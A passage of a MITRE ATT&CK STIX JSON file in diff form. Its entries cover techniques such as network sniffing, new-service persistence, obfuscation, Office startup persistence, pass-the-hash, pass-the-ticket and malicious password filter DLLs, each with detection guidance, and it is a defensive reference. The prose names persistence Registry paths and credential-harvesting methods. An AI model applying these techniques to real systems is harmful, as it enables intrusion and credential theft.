+ { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "name": "Network Sniffing", + "created": "2017-05-31T21:30:41.399Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1050", + "source_name": "mitre-attack", + "external_id": "T1050" + }, + { + "url": "https://capec.mitre.org/data/definitions/550.html", + "source_name": "capec", + "external_id": "CAPEC-550" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx", + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", + "source_name": "Microsoft 4697 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018." + }, + { + "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", + "source_name": "Microsoft Windows Event Forwarding FEB 2018", + "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Pedro Harrison" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "name": "New Service", + "created": "2017-05-31T21:30:45.613Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027", + "source_name": "mitre-attack", + "external_id": "T1027" + }, + { + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017." + }, + { + "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/", + "source_name": "Linux/Cdorked.A We Live Security Analysis", + "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017." + }, + { + "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", + "source_name": "Carbon Black Obfuscation Sept 2016", + "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018." + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf", + "source_name": "FireEye Revoke-Obfuscation July 2017", + "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "source_name": "PaloAlto EncodedCommand March 2017", + "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018." + }, + { + "url": "https://en.wikipedia.org/wiki/Duqu", + "source_name": "Wikipedia Duqu", + "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018." + }, + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/", + "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics", + "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018." + }, + { + "url": "https://github.com/danielbohannon/Revoke-Obfuscation", + "source_name": "GitHub Revoke-Obfuscation", + "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018." + }, + { + "url": "https://github.com/itsreallynick/office-crackros", + "source_name": "GitHub Office-Crackros Aug 2016", + "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Red Canary", + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_data_sources": [ + "Network protocol analysis", + "Process use of network", + "File monitoring", + "Malware reverse engineering", + "Binary file metadata", + "Process command-line parameters", + "Environment variable", + "Process monitoring", + "Windows event logs", + "Network intrusion detection system", + "Email gateway", + "SSL/TLS inspection" + ], + "modified": "2019-04-25T17:34:09.762Z", + "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "name": "Obfuscated Files or Information", + "created": "2017-05-31T21:30:32.662Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)", + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Signature-based detection", + "Host intrusion prevention systems", + "Application whitelisting", + "Process whitelisting", + "Log analysis", + "Whitelisting by file name or path" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1137", + "source_name": "mitre-attack", + "external_id": "T1137" + }, + { + "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea", + "source_name": "Microsoft Change Normal Template", + "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017." + }, + { + "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", + "source_name": "MSDN VBA in Office", + "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017." + }, + { + "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", + "source_name": "enigma0x3 normal.dotm", + "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017." + }, + { + "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", + "source_name": "Hexacorn Office Template Macros", + "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017." + }, + { + "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", + "source_name": "Hexacorn Office Test", + "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017." + }, + { + "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", + "source_name": "Microsoft Office Add-ins", + "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017." + }, + { + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017." + }, + { + "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf", + "source_name": "FireEye Mail CDS 2018", + "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019." + }, + { + "url": "https://github.com/sensepost/ruler", + "source_name": "SensePost Ruler GitHub", + "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019." + }, + { + "url": "https://silentbreaksecurity.com/malicious-outlook-rules/", + "source_name": "SilentBreak Outlook Rules", + "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019." + }, + { + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", + "source_name": "SensePost Outlook Forms", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019." + }, + { + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", + "source_name": "SensePost Outlook Home Page", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019." + }, + { + "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746", + "source_name": "CrowdStrike Outlook Forms", + "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019." + }, + { + "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943", + "source_name": "Outlook Today Home Page", + "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019." + }, + { + "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack", + "source_name": "Microsoft Detect Outlook Forms", + "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019." + }, + { + "url": "https://github.com/sensepost/notruler", + "source_name": "SensePost NotRuler", + "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "modified": "2019-04-25T03:07:21.560Z", + "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nFor the Outlook rules and forms methods, Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "name": "Office Application Startup", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n### Office Template Macros\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n### Office Test\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n### Add-ins\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\n### Outlook Rules, Forms, and Home Page\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) \n\nOutlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOutlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOutlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nTo abuse these features, an adversary requires prior access to the user\u2019s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)", + "x_mitre_contributors": [ + "Praetorian", + "Nick Carr, FireEye", + "Loic Jaquemet", + "Ricardo Dias" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1075", + "source_name": "mitre-attack", + "external_id": "T1075" + }, + { + "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", + "source_name": "NSA Spotting", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Requires Microsoft Windows as target system" + ], + "x_mitre_data_sources": [ + "Authentication logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "name": "Pass the Hash", + "created": "2017-05-31T21:30:59.339Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1097", + "source_name": "mitre-attack", + "external_id": "T1097" + }, + { + "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", + "source_name": "Campbell 2014", + "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014." + }, + { + "url": "https://adsecurity.org/?p=556", + "source_name": "ADSecurity AD Kerberos Attacks", + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016." + }, + { + "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos", + "source_name": "GentilKiwi Pass the Ticket", + "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016." + }, + { + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Requires Microsoft Windows as a target system and Kerberos authentication enabled." + ], + "x_mitre_data_sources": [ + "Authentication logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "name": "Pass the Ticket", + "created": "2017-05-31T21:31:11.623Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", + "x_mitre_contributors": [ + "Ryan Becwar", + "Vincent Le Toux" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1174", + "source_name": "mitre-attack", + "external_id": "T1174" + }, + { + "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", + "source_name": "Carnal Ownage Password Filters Sept 2013", + "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017." + }, + { + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_data_sources": [ + "DLL monitoring", + "Process monitoring", + "Windows Registry" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", + "name": "Password Filter DLL", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1201", + "source_name": "mitre-attack", + "external_id": "T1201" + }, + { + "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "source_name": "Superuser Linux Password Policies", + "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018." + }, + { + "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines", + "source_name": "Jamf User Password Policies", + "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "name": "Password Policy Discovery", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access 